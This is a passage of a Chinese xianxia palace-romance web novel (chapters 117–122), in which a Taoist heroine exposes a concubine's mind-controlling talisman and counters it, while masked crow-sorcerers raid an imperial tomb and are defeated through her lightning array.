李嬷嬷进来送水,瞥见了墨云寒挂在床边的外衫,还有床边杂乱脱掉的长靴,抿着嘴偷偷退了出去,走到桂嬷嬷身边行了一礼。
“辛苦嬷嬷跑这一趟,事儿成了。”
桂嬷嬷年岁已高,此刻困倦不已,闻言点点头。
“如此,我也能回去交差了。”
她说完转身离开。
临近子时。
墨云寒悄无声息的出现在江清婉的房间。
看着她沉沉睡去的小脸,气的伸手捏了上去。
江清婉喝了酒睡得很沉,软软的抬手打开,丝毫没有要醒的意思。
墨云寒气的脸都黑了。
这女人到底有没有心?
将他送给别人去洞房,自己却还能安然的呼呼大睡。
他越想越气,索性弯起手指捏住了江清婉挺翘的琼鼻。
突然的呼吸不畅,让江清婉很快被憋醒,悠悠醒来,在看到床边坐着的墨云寒后有片刻的怔愣。
随后撑着手臂坐了起来,抬手揉了揉还有些沉胀的眉心。
“你完事了?”
墨云寒不说话,抿着唇冷冷的看着她。
缓解了胀疼,江清婉才又抬眸看向他。
“你去那边的小塌子上躺下,我一会给你治腿,我先醒醒酒。”
见她还记得治腿,墨云寒心里稍稍舒坦了一些,黑沉的眸子盯着她粉润的唇瓣,忽地哑声道,
“本王有个法子能让你快速醒酒。”
第118章 一百两黄金
江清婉迷迷糊糊仰起头。
“什么?”
下一刻只觉眼前有阴影落下,鼻尖传来微凉的触感。
男人的气息袭来。
他的鼻尖抵着她的。
四目相对,她能看见男人眼底闪过的戏谑。
酒劲和睡意果然顷刻间消失。
她本能的迅速往后退。
小脸也跟着皱了起来。
“沐浴之后再来。”
墨云寒却偏不,反而往前又凑了凑。
“本王不脏,为何要去沐浴。”
“脏不脏我说了算,你不要坐我的床。”
江清婉伸手去拽被他压住的被子,气鼓鼓的。
墨云寒的心情终于彻底回暖,噙着笑欺身上前,将人困在双臂之间。
“江清婉,你很在意为什么还要把我推出去,就不怕我真的碰了云筱然?”
江清婉身体后仰,闻言愣住。
“你没碰?”
墨云寒刚刚转晴的心情瞬间又跌入低谷,薄唇紧抿,很想伸手掐死她。
江清婉却又忽地哦了一声,似乎想明白了。
“你怕死,还记得我说过一年内不能近女色。”
墨云寒差点噎吐血。
起身离开坐在了小塌上。
江清婉也从床上走了下来。
她身上就穿了一件单衣,外衫都被莲儿收走明早要洗。
她穿上鞋拉开衣柜随便找了一件。
墨云寒的目光追随过去,看到了柜子上面摆放着的小小炉鼎,觉得有几分眼熟。
“那是什么?”
江清婉看他指的方向,随口回了句。
“炼丹的。”
墨云寒想起之前吃过的丹药,脑海中莫名浮现出江清婉像皇室祖祠壁画里的南极仙翁一样,挥动着佛尘,满脸慈悲地蹲在炉鼎前烧火炼丹的模样。
他快速收回目光低低笑出了声。
江清婉系好腰间束带走过来极不爽的看着他。
“你笑什么?我那炉鼎可是特制的,你这种凡夫俗子岂能看得懂。”
墨云寒低咳一声收了笑。
“你用什么炼丹,药材吗?”
江清婉的神情略有些不自然,
“我为什么要告诉你,想拜师啊?以你的资质完全没希望。”
对此,墨云寒没反驳。
他从怀里摸出一张绢纸递过去,“你帮我看看上面的纹路,可有什么问题?”
江清婉正准备出门看看时辰,闻言凑过去。
绢纸在墨云寒的掌心展开,其上画着清晰的符箓,显然是个门外汉所画,许多该连接起来的地方,生硬的毫无灵气可言。
不过这符箓……
“东西哪来的?”
这是墨云寒在云筱然荷包的内层看到后描绘下来的。
他没解释,江清婉也没再追问。
去书案前拿了纸笔和宣纸又重新画了一副。
和墨云寒描绘的纹路一模一样,却在符箓刻画完成的瞬间,一股灵气跃然纸上。
即便墨云寒看不到,也能感觉到那股神秘的力量。
“这是什么符?”
江清婉用白嫩的手指轻轻点了点。
“是从云筱然身上得来的吧?”
墨云寒震惊不已。
“你是如何得知?”
江清婉撇撇唇角。
“这符箓只会是女子用,戴着这个与男子同房之后,这男子便如吸食了上瘾的毒药一般,对其欲罢不能,神思倦怠,长久下来,便会唯她是从。”
“竟如此恶毒!”
墨云寒心中一寒。
江清婉轻哼。
“我告诉过你,是她杀了云杳杳,你还真当她是娇弱小美人?”
墨云寒没多解释,看着那张符箓道,“我记得你说过,世间万物相生相克,既有这等害人的符箓,定然有相克之法。”
江清婉顿时目露欣赏。
“你还是有几分天赋的。”
她眼底闪过狡黠。
“我告诉你,这符箓不仅有相克的法子,还有反噬的法子。你听过苗疆的情蛊吗?被种蛊之人,也会听命于下蛊之人,可若是被种蛊之人心志坚定,不被其控制,那么下蛊之人就会遭其反噬自食恶果。你舍得吗?”
墨云寒看着她娇俏灵动的模样,忽然伸手在她下巴上轻轻勾了一下。
“要怎么做?还请江天师赐教。”
指腹上的薄茧刮过肌肤,传来一阵酥麻。
江清婉直起身避开。
小手一伸,“一百两黄金。”
她发现,金子比银子更漂亮。
而且,等到有机会回祁连山,金子比银子更有用处。
墨云寒想起苏柳儿提过的一百两黄金,忍不住又勾了勾唇。
“行,就一百两。不过我身上没有,回头让夜七给你。”
江清婉没想到他真的同意。
小手收回在衣摆处轻轻搓了搓。
“我可不白收你的金子。”
她从腰间荷包里摸出两张空白符纸,指尖凝着灵力迅速刻画。
画好之后,又从另一个荷包里摸出两枚铜钱,以红线缠绕,分别包在黄符之中。
做完这些,她看向墨云寒。
“用点你的血。”
墨云寒的心猛地颤了颤。
遥远的记忆扑面而来。
“妖孽之子,即便是半妖,其血与人血也不同,只要启动特殊的阵法,一定能逼出原形。”
冰冷残忍的话在耳边响起。
皮肉被生生割开的疼,一下子将他拉回到曾经的椒房殿。
“快点啊。”
江清婉的催促让墨云寒回神,他沉默地用内力为刃划破了手指,递了过去。
江清婉握着他的手指在黄符上画了最后一道封印。
“好了!夜七,进来。”
守在外面的夜七顷刻间到了屋内。
“王妃。”
江清婉不太习惯。
“你还是叫我江娘子吧,我也没打算跟你家王爷白头到老。”
夜七愕然。
这话能随便说的吗?
他小心翼翼的看向自家主上,却发现墨云寒不知在想什么,神色肃穆,好像根本没有听见这句。
可那表情,绝对不是开心。
他忙拱手再次强调。
“王妃,府里的规矩不能乱。”
江清婉也懒得再纠正。
将两个折好的符纸递过去。
“一个丢在她的床下,另一个,丢在她所睡寝卧房顶的东南角,用瓦片盖住不可见阳光。”
夜七应下,接过符纸很快消失在夜色之中。
等房门再次关上。
墨云寒忽地问道,“江清婉,我的血,有什么问题吗?”
江清婉被问的一愣。
“能有什么问题?”
墨云寒盯着她的脸,试图从上面看出些端倪,却一无所获。
他有些失望,低头看着手指上残留的血,低低呢喃。
“那为什么要用我的血画符。”
江清婉顿觉无语。
“这是你跟云筱然的孽缘,难不成还要我去沾染因果?一百两黄金,你要的有点多了。”
墨云寒顿时怔愣当场。
原因就这么简单吗?
第119章 玄灵山有灵狐
坤宁宫内,
太后听完桂嬷嬷的陈述,甚是满意的点了点头。
“也不枉费哀家给了她这么多恩宠,总算是有些用处。”
桂嬷嬷又躬了躬身。
“您该休息,明日还要启程去护国寺为太上皇祈福。”
太后今日刚刚用了新的圣水沐浴,只觉连手指上的皱纹都少了许多,肌肤也变得细滑白嫩。
她满眼欣赏的看着,声音幽幽,
“他现在已成了糟老头子,没多久可活,哀家一定好好求求菩萨,让他多活一日是一日,也好让他看看,他一心护着的小九,最后是什么样的结局。”
……
墨云寒是连夜出的王府,马匹在城外已有人准备,他和夜七御轻功飞跃的屋脊之上,如灵猫猎豹。
他们离开后的,两只赤眼乌鸦化作人形落在王府外无人的街道上。
黑色面具遮挡住五官,双眼诡异的泛着红色。
不似人一般。
粗哑的声音在面具之后传来。
“圣人算的还真准,这九王还真的是迫不及待。”
“只可惜,灵狐化形是我们制造出来的,他终将一无所获。”
“他不去,皇陵外的护山阵我们破不了,等拿到大周皇陵秘宝,圣人将带我们返回大隋皇陵旧址取得无根水,我们的诅咒必将解除。”
“下一次的赤阳日还不知道何时出现,机会千载难逢,圣人交代,此次只许成功不许失败。”
二人都很激动。
身形很快化作乌鸦,一只追着墨云寒的方向而去,另一只直飞皇宫。
……
玄灵山是京郊百里之外最大的一座山。
山峰陡峭险峻,据传曾有仙人在此坐化飞升。
百年前大周稳固,确立京都。
皇陵便迁至山中,周围建了护灵卫兵营。
十里之内,不准任何人靠近。
翌日正午。
玄灵山外最近的一处客栈内。
苏柳儿穿着黑色劲装正在用锋利的匕首切肉,一双漂亮的眼睛如鹰般锐利。
因地处偏远,即便是晌午时分,客栈里也没几个人。
掌柜的趴在柜台前打瞌睡。
这时一人匆匆跑了进来,凑到苏柳儿身边低语了几句。
苏柳儿眸色微眯。
“确定了吗?这一次要是再被他们逃跑,我都没脸回京了。”
“确定了,不过那地离玄灵山太近了,万一……”
来人面色为难,苏柳儿将匕首擦拭赶紧塞回腰间。
“我们不敢进,他们一样不敢进,叫上兄弟们,走。”
玄灵山下护灵卫的主营帐内。
首领张衡水正要用午膳,一名卫兵就冲了进来。
“报!”
他手里的酒盏都惊掉在地上。
“报什么报?大白天的,皇陵还能闹鬼吗?说。”
卫兵气息都没来得及平复。
“将军,护山大阵动了。”
张衡水捡起的酒盏再次惊掉在了地上。
“你说什么?”
他家世代守灵,从爷爷辈到现在,每日生活枯燥,养的心性懒散。
毕竟玄灵山离京城不算太远,周围兵营众多,更是被四方城池包裹其中,根本没有人敢闯皇陵。
从他接任以来,护山大阵就没有动过。
不过父亲临终时告诉他,护山大阵是当年羽化成仙的仙人所设,一般玄门道人根本打不开,只有大周历代皇室人的血才能让护山大阵振动。
意识到发生了了不得的大事,张衡水急的脸上的肥肉都在颤。
“完了完了,这是哪个皇子要造反吗?怎么不去皇宫闹事,跑来皇陵做什么啊?赶紧集中兵力去皇陵守着,无论是谁都不准放进去。”
卫兵赶紧拦住他。
“将军,阵法异动的方位在后山,不在皇陵。”
“后山?”张衡水瞪着他,“你是说,他们是想从后山攻进来,那可是有天险的啊!”
卫兵一脸神秘地凑过去。
“属下不知,但是属下今日听去采买的人说,有山外村中百姓有看到化形的灵狐朝着玄灵山的方向去了,这异动会不会是灵狐闯入?”
张衡水眼底闪了闪,紧绷的神经也松弛下来。
“有道理,后山险峻,根本就没有路,就算是想闯皇陵也不可能选择那里。看来这玄灵山真的是灵山啊,这狐狸最是精明,定然是寻到了旧日仙人坐化所在,想要借机成精啊。”
卫兵怂恿。
“将军,若是我们能将这狐狸抓到,进献给皇上,皇上定然龙颜大悦,说不定您就不用守灵了。这山外的美人可是多不胜数,还求将军升迁之后带着小人一起离开。”
张衡水闻言大喜。
“此事若成,本将军少不得你的好处,召集人马,去后山抓狐狸。”
……
王府后院内。
练了一夜丹药的江清婉刚刚醒来。
莲儿听见她起床的动静,立刻推门而入。
手里端着一盆温水,湿了帕子递了过去。
“小姐,您先擦擦脸,可有觉得哪里不舒服?”
江清婉摇头。
莲儿叹了口气,这时李斗在外面喊了声。
她忙接过帕子搭在一边急匆匆出去端了一个汤盅进来,喋喋不休的说着。
“奴婢给您熬的醒酒汤,温度刚刚好,您快喝了吧。”
“您心里介怀,宿醉成这般,昨夜为何还要王爷去苏姨娘那里。奴婢虽不曾嫁过人,不懂这其中道理。可却见识过娶了姨娘忘了正妻的,您万万不可大意啊。”
江清婉喝了半盅汤润了润喉。
“我喝酒不是为了墨云寒。”
莲儿岂会相信。
“您听奴婢的,今日就搬去前院住,王爷心里有您,只要您主动些,早早怀上孩子,那便是王府嫡子,谁也别想撼动您的位置。”
在秦家的遭遇让她有些杯弓蛇影。
毕竟江清婉的出身无法跟云筱然比,难保将来墨云寒会为了其他事情如秦明朗般始乱终弃。
即便是赐了婚也不可说万无一失,但若是能生下嫡子,那就不一样了。
江清婉被她一通灌输,听得阵阵无奈。
瞥了眼外面有些刺眼的光,眯着眸子问,“青穗可有回来?”
莲儿这才想起,忙从腰间束带中摸出一张折叠着的纸递了过去。
“未到辰时便来了,见您没醒,留了字条就又匆匆走了。奴婢留她吃饭她也没理。小姐您让她去做什么了?怎的日日见不到。”
江清婉展开字条看了眼。
其上写着:护国寺,黑鸦未现身。
“护国寺?”
秦明朗去护国寺干什么?
莲儿正给她整理床铺,闻言说道,
“小姐要去护国寺吗?今日怕是不行。奴婢去给您排队买烤乳鸽的时候听见有人议论,说是太后去护国寺为太上皇祈福,半截山路都封了,只留了几个小庙宇给百姓上香,您就算去了也见不到那些得道高僧。”
江清婉将纸条焚烧在灯盏中。
“把烤乳鸽端上来吧,我饿了。”
莲儿应了一声,手脚利索端着汤盅离开,不多时就将热好的烤乳鸽还有一盘青菜,一碟肉包,外加一碗米粥放在了桌子上。
“李斗怕烤乳鸽凉了一直在土瓮里闷着,您尝尝味道变没变。”
早饭吃到一半,外面忽然传来喧闹声。
李斗的声音透着愤怒。
“不准你们进去!”
第120章 妻妾和睦
莲儿赶紧走了出去。
看到来人后脸色顿时一变,快跑了两步将李斗拉开,冲着云筱然福了福身。
“见过云姨娘。”
这个称呼让云筱然的表情僵了僵,却又很快笑着往屋内走。
“江姐姐,昨夜多谢江姐姐成全,我来给你见礼了。”
她身后还浩浩荡荡跟着几个丫鬟婆子。
李斗急道,“莲儿,她们是坏人,会欺负小姐。”
莲儿却摇了摇头。
姨娘入府要拜见正妻主母,这是规矩。
他们不能拦,只能赶紧跟着守在门口,以防不测。
云筱然衣着华贵,头上戴着春团鎏金簪,流苏坠下来的那块碧玉,色泽通透,一看就价值不菲。
她施施然走进寝卧,双眼环顾四周,故作惋惜。
“云寒哥哥实在不该,即便知道姐姐是和离之人,出身贫瘠也不该如此慢待,怎么能让姐姐住在这种简陋之地。李嬷嬷啊,等会去风雅筑的库房,在我的嫁妆里找些贵气的摆件过来给江姐姐装装门面。”
李嬷嬷憋着笑福身应下。
“是,老奴定会好好挑些相配之物。只是这屋子太小,只怕是要糟践了您给的那些好物件。”
莲儿气的咬牙。
姨娘入府拜见主母正妻时,不仅要跪拜敬茶,还要恭恭敬敬的接受主母正妻的赏赐。
她一个姨娘,却要反过来给东西,简直是倒翻天罡故意压江清婉一头。
她附耳跟李斗说了一声,愤怒的一把推开挡在门口的丫鬟,挤进房内。
对着江清婉福了福身,故意高声道,
“王妃,按照规矩,云姨娘应跪着给您敬茶,既然是见礼,万不可坏了规矩。让有心之人传扬出去,还以为王府内区区一个姨娘都要当家作主了。”
云筱然的脸色陡沉。
门外李斗端着热水大力扒开了众人冲了进去。
莲儿立刻拿了茶盏沏了茶,端到了云筱然面前。
“云姨娘,请吧。”
李嬷嬷正要训斥,云筱然却忽地身形一晃,娇嗔着扶住了她的胳膊。
“我这腰,酸软的厉害。”
李嬷嬷心领神会。
扶着她坐在江清婉的对面。
“王爷也是,您是初次,也不知道疼惜一些,一整晚叫了那么多次水,听得老奴都有些脸红。”
云筱然的脸越发娇俏妩媚。
“嬷嬷,当着江姐姐的面莫要多嘴。云寒哥哥只是情难自禁,一时失控,毕竟……我是云寒哥哥的第一个女人,他初次尝了滋味,自然难以把控。”
莲儿气的肺都要炸了。
怎么如此不要脸皮!
还将这闺房之乐的细节当面说出。
她担心的看向江清婉,怕她受不住太过难受。
江清婉却神色淡淡。
“帕子怎么没送来。”
云筱然怔了怔,完全没料到江清婉会问这个。
李嬷嬷反应极快。
“太后娘娘挂念县主,白帕一早就送进了宫。”
云筱然也回过神来,红着脸羞涩的笑道,“江姐姐嫁过人果然经验丰富懂得多,不像我,昨夜那帕子还是云寒哥哥帮我垫上的,实在让姐姐笑话了。”
莲儿想把那杯热茶泼她脸上。
这么私密的事情,竟能坦然说出。
真是不知羞!
江清婉哦了一声。
“那敬茶吧。”
莲儿气愤的将茶盏递过去。
云筱然却再次露出了手腕上戴着的金镯子。
“江姐姐,不是筱然不懂事,实在是太后娘娘垂怜,我虽是姨娘,却是不用晨昏定省的行礼跪拜的。若我戴着这镯子跪拜姐姐,怕是要让姐姐折寿呢。”
这一次离得近。
江清婉清晰的看到了上面的纹路。
那并不是匠人为了美化镂空雕刻出的漂亮花纹,而是符箓。
与昨晚墨云寒描绘给她的那个符箓并不是同一个。
那个类似于情蛊,掌控的是与云筱然行房的人。
而这个,却是掌控的云筱然自己。
长久的戴下去,云筱然自身的命格气运,都被会这镯子上的符箓吸收,为他人所用。
而与云筱然行房的男人,也会在两个符箓的相互配合下,成为附属的吸收品。
至于被吸走的运气给谁用。
那要看镯子内里中刻着谁的生辰八字。
单看表面是看不到的。
他日定要让青穗偷来细细看看。
太后能赐这么个东西给云筱然,怕也不是真的待她亲厚。
她收回目光,摆了摆手让莲儿退下。
“不跪就不跪吧,莲儿,去把之前剩的那盒绿茶赐给云姨娘吗?清新口气,还能消火,配她正好。”
莲儿差点没忍住笑喷出来。
立刻福了福身转头从架子上将半盒绿茶拿了过来。
“王妃亲赐的礼物,还望云姨娘好好敬着,以彰显王府内妻妾和睦。”
云筱然恨恨地瞪了她一眼,再次娇声道,
“那就多谢江姐姐了,我一定亲自沏好给王爷共饮,灭灭王爷的火,也免得王爷不知节制,折腾的我睡到日上三竿才能起身,实在是辛苦。”
江清婉煞有介事地点点头。
“你的确该好好努努力,省得他大半夜还要跑来我房间影响我睡觉。”
她说着还打了个哈欠。
“行了,礼也见了赶紧回吧,我还要躺一会。”
云筱然差点把帕子扯碎。
“姐姐胡说什么,王爷昨夜一直在我房间,怎么会来找姐姐。”
莲儿也只当是自家小姐故意这般说,虽希望是真的,可依旧心虚,没敢在这时搭话。
江清婉眸色清洌地落在云筱然脸上。
“太后娘娘这般挂念你与王爷是否同房,想必月余之后会请太医来诊脉,若那是查出你仍为处子,不知会作何感想。”
云筱然的脸色瞬间大变。
“你胡说什么?”
莲儿惊得目瞪口呆。
“处……处子?那昨晚……”
难道王爷昨晚真的宿在小姐房里。
她顿时开心的脑袋里烟花肆虐,脊背都挺得笔直,说话更是底气十足。
“牛不喝水强按头果然没什么用。”
云筱然的脸一阵红一阵白。
“姐姐真是养了个好丫鬟,牙尖嘴利。只不过姐姐怕是要失望了,王爷昨晚神勇,事后我睡得极沉,他有没有离开,我是不知的。”
“或者担心姐姐闹,半夜过来看看姐姐也不是不可能。至于一月后,我定不会让太后和姐姐失望,早早怀上王爷的孩子,为王府绵延子嗣。”
她说完站起身敷衍地轻福了下身,扭头走了。
等出了后院的门,她一巴掌呼在了李嬷嬷的脸上。
“你不是说昨晚王爷不曾离开吗?”
李嬷嬷甚是委屈。
“县主,老奴真的没看到,而且桂嬷嬷也在,老奴进去送水的时候,王爷的外衫就挂在床头,鞋也脱了。”
对于昨晚的事,云筱然半点记忆都没有。
可身子骗不了人,墨云寒根本碰都没有碰她一下。
她恨得牙痒痒。
“该死的江清婉,一定是这贱人用了什么手段将王爷给召唤了去,不行,太后已经知晓我们二人同房,断然不能出岔子,还是得用我的法子,你即刻去西市把那东西买回来。”
第121章 惨烈
莲儿欢喜的追着询问。
“小姐,王爷昨晚真的宿在您这里吗?”
江清婉敷衍的嗯了一声。
“把东西撤了,我要再睡一会,你们不要进来打扰。”
莲儿开心的福了福身。
“是!”
“不过小姐,您怎么没用白帕。万一将来大婚之夜,皇室索要,您岂不是拿不出来,那可是要坏了名声的。”
江清婉坐在床边懒得再说话。
莲儿虽然知道秦明朗是在成婚当日离开的,但二人之间有没有肌肤之亲,她是不敢确定的。
万一……
她以为自己说错了,心里忐忑没敢再问。
收拾好碗碟匆匆离开。
房门被关上隔绝了外面的阳光。
江清婉摸出三枚丹药放在掌心吸收。
丹田内逐渐被丰盈的灵气填充,她损失掉的修为也在一点点恢复。
此时,太学院内的书库中,
夏宇找到了正埋头翻书的郑成业,故做随意的打着招呼。
“你们王府不是办喜事吗?你怎么还在学院?”
郑成业手里拿着那张解卦纸,头都没抬。
继续翻找着手里晦涩难懂的古书。
夏宇看了一眼。
“你这是要驱魔啊,写的鬼画符一样,要是驱魔,我建议你去护国寺求那里的方丈,听说很灵的。”
郑成业翻书的动作猛地停了下来。
对啊,他竟忘了还有这个地方。
母亲以前就常说护国寺方丈是得道高僧,也时常去那里祭拜添香。
想必方丈一定能看得懂这张纸上的内容,也一定能知道那张护身符到底是什么用处。
“多谢夏公子解惑。”
他将书放回书架,冲着夏宇拱了拱手,急匆匆往外走。
夏宇忙跟了两步。
“你等休沐的日子再去吧,戒律司的人最近查的严。”
郑成业没理,身影很快消失在书库外。
夏宇转头将郑成业刚刚看的书拿了下来,翻看看了看。
自那日他偷听到郭浩的书童提过的江娘子,便偷偷在学院里打听过,几个跟霍震关系不错的人说,霍震中了邪,是郭浩找了个女天师才治好的。
那女天师就是姓江。
现在夏宇这幅神秘兮兮的样子,看来外面传的九王爷的正妃,真的是个玄门天师,还跟郭浩不清不楚。
他将书放回原位,立刻回了自己的寝卧,写了密函交给了书童送了出去。
……
三枚丹药吸收完,江清婉仍觉还有空余,又多加了两颗。
等她打坐结束,外面的阳光依旧很炙热。
她好奇起身,打开门看着已经快西沉的太阳,微微皱了皱眉。
日落月升,这个时辰的阳光不该这么刺眼。
她当即掐指算了算,心下不由不惊。
“赤阳日?怪不得她能连续吸收五枚丹药。”
赤阳日天地灵气纯化,修行之人若能寻得宝地打坐,可事半功倍。一切真阳阵法和玄术都会威力大增,但同样的,至阴玄术则会被压制。
她忽然想起那只黑乌鸦。
他的术法皆是至阴。
在赤阳日当天功力最弱。
但当阴阳交汇的时候,阳盛阴衰的极限转换时。
又是他功力最强之时。
她眼波流转,立刻叫来莲儿和李斗。
“你们去买些东西回来,太阳落山之前回来。”
与此同时,坤宁宫的地下暗室隔绝了一切光线。
幽暗的烛火中盘膝坐着一人。
帷帽摘下,露出了一张满是红色符箓的脸。
白发赤瞳,在光影中犹如一只修罗恶鬼。
在他四周摆放着诡异数个黑色的骷髅头,那骷髅头的眼睛位置,与他的双眼一样泛着赤红的光。
他转头看向一旁的沙漏。
时辰还未到。
等日月交汇,便是闯皇陵之时。
此刻,玄灵山中,
墨云寒和夜七已经过了半山腰。
山路崎岖不平,蛇虫鼠蚁汇聚,很多地方连插脚处都没有。
夜七挥舞着剑砍动树枝。
“王爷,听闻玄灵山中有位坐化的神仙,在山顶之上,吸收了日月精华后飞升,您信不信?”
墨云寒没说话,薄唇抿着脸色有些难看。
不知为何,他入山之后,身体就开始一阵一阵的眩晕,连运起轻功登山都有些困难。
可夜七却并无异常。
他想起江清婉提过的镇妖。
若这山中真有仙灵压制了他的血脉,那是不是说明,灵狐化形也是真的。
他稍作喘息。
“那我们就去山顶。”
夜七点点头,继续在前面开路。
峰会路转的时机,忽然看到一处山脚有人影窜动。
“王爷,你看。”
墨云寒循声望去,剑眉紧皱。
“应该是护灵卫的人,他们怎会往山上走?”
夜七道,“会不会也是来找灵狐的?”
墨云寒心下一凛。
“脚程快一些。”
二人闷头往山上爬,速度也随之加快。
玄灵山下十几里外。
苏柳儿正在与人厮杀。
她带了六个好手,已经折了一半。
而敌人手中的金钩弯刀让她异常心惊。
大隋的余孽,竟然已经到了玄灵山附近。
他们拿出宝贝变卖,更是设局黑吃黑,怕不是要筹集军需,意图不轨。
她的人不能全折在这里,必须把消息传回去。
她奋起一刀挡在一个瘦个男人前面。
“小武,走,去找夜七。”
小武是这些人里轻功最好的。
闻言急道,
“掌柜的,我们一起走。”
晃神间有一个兄弟又被金钩弯刀的机关射中。
倒钩的弩箭扯掉了一大块皮肉。
惨叫声响起,那人朝着小武喊。
“带掌柜的走,快!”
苏柳儿看着自家兄弟的惨状,气的柳眉倒竖,正想去救人,小武却一把拽住她,运气轻功就准备突围。
半截弯刀通过机关弩飞射而来。
小武反应不及时,眼看就要被消掉了脑袋。
苏柳儿猛地拽了他一把,自己的后背被刀尖划破,鲜血喷涌而出。
另一把弯刀也在这时飞刺而来,摆明了要杀人灭口,不给他们活路。
刚刚被倒钩的弩箭割下皮肉的人冲过来奋力挡下,满嘴鲜血咬牙怒吼。
“快跑!”
他狰狞着五官猛地攻向对方,给小武和苏柳儿争取了片刻的时间。
二人都是身经百战,知道多留无义,当下运起轻功疾驰而去。
身后的人紧追不舍,射出的飞弩,几乎擦着他们的后脑勺。
这时远处忽然响起一阵哨声,所有人都停了下来,又训练有素的齐齐后撤离开。
苏柳儿先前的伤就不轻,这会儿更是强行提气,精神一松懈,哇哇的连续吐了好几口鲜血。
小武拽着她的胳膊往身上背。
“掌柜的,我一定送您回去。”
苏柳儿摇摇头。
从脖子上拽下一块玉塞他手里。
“拿着这个你去王府找夜七,告诉他,金钩弯刀的人已到玄灵山,快去。”
小武拼命摇头。
“不行,你留在这里会死的。”
“听话,快去。”
苏柳儿推他,却被小武伸手点了穴位,直接背在身上,再次运功冲了出去。
随着太阳落下,夜幕一点点吞噬热度。
黑暗渐渐侵袭整个大地。
若白天有多炙热,这入夜就有多阴冷。
仿佛一瞬间,将炙烤在大地上的光拽入了深不见底的幽暗地府。
第122章 进攻皇陵
莲儿和李斗蹲在角落,看着挥舞着一把桃木剑的江清婉,皆是一脸懵逼。
“小姐怎么跟跳大绳的似的?”
“跳大绳都是骗人的,连我都知道。”
李斗想了想又加了一句。
“小姐肯定不骗人。”
莲儿冲他翻了个白眼。
这时江清婉忽地娇喝一声,小手捻着符咒猛地朝糯米碗中一拍。
手中桃木剑飞扬而起,飘在半空,四方符咒包裹旋转。
江清婉确定好方位,立刻起阵。
以前找不到黑乌鸦是因为寻踪术会被对方的功力干扰,现在,她不是在找,而是在杀。
这么个难遇的日子,她赌,在日月交汇的时候,操控黑乌鸦的人一定不会放过这个练功的时机。
只要她攻击京城内至阴玄术最强盛之地,一定就是那人。
与此同时,
皇陵中守灵的士兵早早收到阵法异动的消息,全都严阵以待的看护着入陵之处。
忽然间传来破空声,一截短箭飞刺而来。
等士兵反应过来,已经被刺穿了脖子当场死去。
其他人瞬间警觉。
“敌袭,敌袭!”
警号声刚要吹响,数枚短箭再次射来。
将吹号的士兵接连斩杀。
好在守灵的人并不少,有占领高出的看到了短箭射来的位置给出了方向。
执勤的千户当下让人去兵营传信,另外的人则聚集力量准备迎敌。
剑拔弩张的时候,十数只黑乌鸦扑闪着翅膀冲进了皇陵的入口。
可眼下也没有人去关注乌鸦,全都全神贯注的迎战试图攻进皇陵的贼人。
场面异常混乱。
乌鸦一路冲进皇陵密道。
似乎早就摸清了地形一般,很快抵达最里面。
乌鸦幻化成人形。
皆戴着黑色面具。
其中一人抬手低喝,
“找!”
坤宁宫地下暗室内,神秘人脸上的红色符箓如活了一般,在身上快速游走。
身侧围着的血眼骷髅也不停散发着红光。
而在皇陵中的黑衣人身上,也随之行动更加灵敏。
“找到了,在这里。”
一人大喊。
所有人全都聚集过去。
飞腾着栩栩如生的巨龙的龙嘴里,叼着一个黑色的盒子。
盒子外面雕刻着清晰的蛇口玉图案。
可巨龙高悬,围在四周的八条龙更是虎视眈眈,其间机关到底是什么无人知晓。
动一发而牵全身。
这时去营地报信的人已经抵达,营地的内的号角立刻吹响,振动了整座玄灵山。
快到山顶的墨云寒和夜七齐齐停下。
“有人攻皇陵?”
还在半山腰搜寻灵狐的张衡水也听到了号角声,急的一脚踹在身边卫兵的身上。
“老子就说是有人攻皇陵吧,你非提灵狐,要是皇陵出了乱子,咱们所有的脑袋都得搬家,赶紧下山,快!”
山顶的月,异常的清冷。
仿佛高悬在天空,又仿佛下一刻就能触手可及。
墨云寒抬头看去,眸色深浓,片刻后道,“我们下山,支援皇陵。”
夜七也知兹事体大,点点头当下提气运起轻功。
上山时他们蹚出一条模糊的路,下山时只要方位不错,应无危险。
可他飞掠出几丈远,却听到身后传来一声闷哼。
他急急回头,就看到墨云寒扶着一块岩石躬着身吐出了一大口鲜血。
“王爷!”
夜七大惊,迅速折返回来。
“您怎么了?受伤了?”
墨云寒此刻力气已经用尽,强撑着意志靠在岩石上大口的喘着气。
月色下,那张俊美无双的脸,苍白的如天山皑皑的白雪。
夜七心急如焚。
“王妃昨夜不是帮您治腿了吗?怎么会如此,我现在背您回去找王妃。”
他从未见墨云寒这般模样,第一反应就是腿又开始疼了。
墨云寒缓缓摇了摇头。
他也说不清楚,就好像这座大山在吸收他的气血一般。
可这般诡异的言论,他连自己都无法说服。
“夜七,下去支援护灵卫,不可让人惊扰皇陵。事情办完,再来寻我。”
“王爷!”
夜七不肯。
墨云寒当即冷下脸。
“下山!”
号角声还在持续响着,一声声催的人心焦。
夜七死死攥着长剑,片刻后转身飞驰而去。
他的身影刚刚消失,墨云寒就忍不住再次吐了血。
连靠在岩石上的力气都没了,意识也变得模糊起来。
不知是不是幻觉。
他竟看到不远处的山顶上,在皎白的月光下,一只漂亮的红狐狸扬起脖子姿势妖娆的晃动着尾巴。
仿佛在下一刻,它就会幻化成人形飞升而去。
“狐……妖?”
墨云寒心中的执念让他恢复了稍许的意识,艰难的朝着山顶一步步爬去。
于此同时,皇陵最里面的机关被触动。
几只黑乌鸦终于将龙嘴里的盒子叼了出来,可在黑色盒子离开龙嘴的瞬间,龙嘴里竟喷出了水银。
黑乌鸦惨叫着坠落,又有新的黑乌鸦扑上去接黑盒子,前仆后继。
坤宁宫内的男人整个身体都在不停地颤抖,身上的红色符箓疯狂流转,自指尖游动到周围的黑色骷髅之上。
那骷髅逐渐被符箓侵染成血红色。
泛着诡异又森然的光。
陡然间,从地下钻出一道雷光毫无征兆的劈在了他的头顶。
不等他有所反应,接二连三的雷噼里啪啦的炸开。
铺满符箓的黑色骷髅被炸的翻滚而出,离开了阵法之后,红光消散,顷刻间化成了灰烬。
“不!”
男人大惊。
飞速想收回刚刚释放出去的红色符箓而自保。
可从地下翻滚而来的雷,却好像知晓他的想法一般,根本不给他任何喘息的机会。
一个个骷髅头被炸飞出去,而男人被困在阵法之中,护不住骷髅头也护不住自己,惨叫着皮开肉绽。
与此同时,皇陵内折损了大半的黑乌鸦终于带着黑盒子成功脱离九龙阵,疯狂的往外飞。
可就在冲出皇陵入口的时候,身上的法术竟全数消散。
一个个人影狠狠坠落在地上,都是哇的吐了血。
张衡水大喊一声。
“你们这群混账,怎么把人给放进去了,拦住,快点拦住。”
卫兵们蜂拥而上。
